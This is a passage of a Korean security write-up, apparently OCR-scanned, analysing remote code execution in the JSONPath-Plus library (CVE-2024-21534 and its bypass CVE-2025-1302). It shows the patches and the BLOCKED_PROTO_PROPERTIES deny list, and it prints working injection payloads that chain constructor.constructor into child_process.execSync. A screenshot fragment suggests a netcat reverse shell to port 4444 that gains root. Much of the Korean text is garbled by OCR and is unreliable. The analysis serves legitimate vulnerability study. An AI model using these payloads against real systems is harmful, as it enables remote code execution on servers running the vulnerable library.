
prototype® 0| gi= MZ2 #l AHE ddst 7, context K|l £IS FAlcts LAI2Z keyMap 2
Mol #Alo| +HEIRICE 0|2 S8 keyMap 2 Object o & S48 Z3HSiX| 2002 e $48 £3

2|7} 27+SOIC}.

8 prototype: JavaScript Lf EX 20| 23 IS st A9 2K
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=
Aol o488 £ U= constructor, _proto__ 2F 2 EXIEE 27| o SHE[AE J|gt EHEZO|

1284 1286 jzep.addlLiteral(’ undefined', undefined);
1287 I + const BLOCKED PROTO_PROPERTIES = new Set(['constructor', '_ proto_ ', '_ defineGetter_ ', '_ defineSetter_ ']); ]
1285 1288 const SafeEwal = {

1295 1298 evalMemberExpression{ast, subs) {
1296 = if (ast.property.type === 'Identifier' && ast.property.name === 'constructor' || ast.object.type === 'Identi
‘constructer®) {
1297 = throw new Error(”'constructor' property is disabled");
1298 - T
1299 1299 const prop = ast.computed ? SafeEval.evalAst(ast.property) // “object[property]”
13ee 1308 : ast.property.name; // “object.property’ property is Identifier
1381 1381 const obj = SafeEval.evalist(ast.object, subs);
1392 + if {obj === undefined || obj === null) {
1383 =+ throw TypeError( Cannot read properties of ${obj} (reading "${prop}')");
1384 + 1
1385 |+ if (!Object.hasOwn(obj, prop) &% BLOCKED_PROTO_PROPERTIES.has{prop)) {
1386 |+ throw TypeError( Cannot read properties of ${obj} (reading "${prop}')} );
13087 |+ T

12l 17. CVE-2024-21534 2| £ Hot mjx| 3
siEt IiX|E OIX|U4O =2 CVE-2024-21534 %[2FXo| HOt mik|7} B& 2pAZESCE

Step 3. CVE-2025-1302 22 4y
J2{L} CVE-2024-21534 F[Ho| Hot X|E @23t CVE-2025-1302 FAFO0| S7H=IRULCE
SMI|AEE ZARSH= BLOCKED_PROTO_PROPERTIES.has(prop)ollA Fete  H|O[E{Q] Aol

a
prop 2| ZEIIS +HolCt.

—_

evalMemberExpression(ast, subs) {
const prop = ast.computed ? SafeEval.evalAst(ast.property) // “object[property]”
. ast.property.name; // “object.property’ property is Identifier
const obj = SafeEval.evalAst(ast.object, subs);
if (obj === undefined || obj === null) {
throw TypeError( Cannot read properties of ${obj} (reading '${prop}') );
hs
if (!Object.hasOwn(obj, prop) && BLOCKED_PROTO_PROPERTIES.has(prop)) {
throw TypeError( Cannot read properties of ${obj} (reading '${prop}')’);

3
const result = obj[prop];
if (typeof result === 'function') {

return result.bind(obj); // arrow functions aren't affected by bind.
}

return result;

}J

CVE-2024-21534 #F|2&o| AF2E EoiAl2 L3t 2Lt
$[?(EQST=this.constructor.constructor("process.mainModule.require('child_process').execSync
('[0SEZEN])"),EQST())]
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¢l 7oA M Al prop Ol= &89 0|2 constructor 7t MIEICL constructor = SEZ|AEO|
0] 7| miEoll, CVE-2024-21534 Ol AtEE HWAZ2 BLOCKED_PROTO_PROPERTIES.
has(prop)?t true & Hheksll ZE{ZIEICE,

BLOCKED_PROTO_PROPERTIES.has(prop) =712 2t HodAl2 Ct2at ZLt.

$..[?(EQST="[['constructor']][['constructor']]("this.process.mainModule.require('child_process').
execSync(*0S B&E0{")");EQST())]

olo| EHAl = "[['constructor]]['constructor’]] BE0A| prop Ofl= £A9| 0]Z9! [‘constructor']7}
MEE|H H{E CIO|E{Z QIAISHCL,

=AtE HO|EHZ O|F0{ZT SAE|AEE= BIEDt H|W Al false £ HEetol ZE{ZIEX] =Lt

2024 HHA 2025 H3Al

23| 7I8iE [ ].constructor.constructor "'[['constructor']][['‘constructor']]
prop constructor ["constructor"]
typeof(prop) string object
BLOCKED_PROTO_PROPERTIES.has(prop) true false

olo| e B WO XIS 23St BHAS ARSI

[0

4 3 Mo| Jhssict,
w» 9
5. [2(EQST="[[constructor ][ constructor]]{"this_process.mainModule.require('c

name content =

299 We are EQS nc _‘L _p 4444
Ethan Keep pushi ld .

uid=0(root) gid=0(root) groups=0(root)
Olivia Happiness {@ai|

Lucas Believe in

iusr/src/app

Sophia Kindness is tree. sorinkle it evervwhere!

13 19. CVE-2024-21534 Eot IX| 23]
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W LS diot

2025 2 15 Y CVE-2025-1302 #[fF0|| tiet 2ot miXx|7F S7HHY W82 Ch3at ZCt

evalMemberExpression (ast, subs) {

const prop = ast.computed
? SafeEval.evalAst{ast.property) // “object[property]”
: ast.property.mame; f/ ~object.property” property is Identifier
const prop = String(
Jf NOTE: “String{value)” throws error when
/f value has overwritten the to5tring method to return non-string
ff i.e. “walue = {tostring: () => [1}
ast.computed
» SafeEval.evalfst{ast.property) // “object[property]’
1 ast.property.name // “object.property’ property is Identifier

WE

33 20.CVE-2025-1302 Hot %] LI

CVE-2025-1302 F 42 ZXAIE0| ofl CHE XIEHE 7HXl prop Off CHot HIMAXOI HEC=E Qlsl
BLOCKED_PROTO_PROPERTIES.has(prop)0| 23|=i1, 0|2 9X|st7| 98 prop o FO| ZFEOfA
EAE XEHS gHest= String() @42 AFESIH prop 0 A EXEE XHEEE  EX[SHY
BLOCKED_PROTO_PROPERTIES.has(prop)2| HAMMOl Z#Z=0| o|2o{F1 Zmt 3ol true 7+ E[0f
F ™ Z=X[7F et=E|ALCE

Ofeff H= HQt IHX|E ME37| M=2Q| prop o HELE.

ZX| H XX 2
prop [ 'constructor'] constructor
typeof(prop) object string
BLOCKED_PROTO_PROPERTIES.has(prop) false true

27 TS MY FoHHO| EXOIR WK|7H HEE

#|ost {FO| JSONPath-Plus 2 Alg £ 22, el
B (v10.3.0)02 HI0|ES Fssfof it
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- CVE-2025-1302:
https://github.com/advisories/GHSA-hw8r-x6gr-5gjp
https://nvd.nist.gov/vuln/detail/CVE-2025-1302

« CVE-2025-1302 commit:
https://github.com/JSONPathPlus/JSONPath/commit/30942896d27cb8a806b965a5ca9ef9f68
6be24ee

« CVE-2025-1302 PoC: https://qgist.github.com/nickcopi/11ba3cb4fdee6f89e02e6afaec8db6456

« CVE-2024-21534: https://github.com/advisories/GHSA-pppg-cpfq-h7wr

« CVE-2024-21534 Comparing changes:
https://github.com/JSONPath-Plus/JSONPath/compare/v9.0.0...v10.1.0
https://github.com/JSONPath-Plus/JSONPath/compare/v10.1.0...v10.2.0

« CVE-2024-21534 commit:

https://github.com/JSONPathPlus/JSONPath/commit/73ad72e5ee788d8287dea6e8283a3f16f
63c9eb8

- npm: https://www.npmjs.com/package/jsonpath?activeTab=dependents
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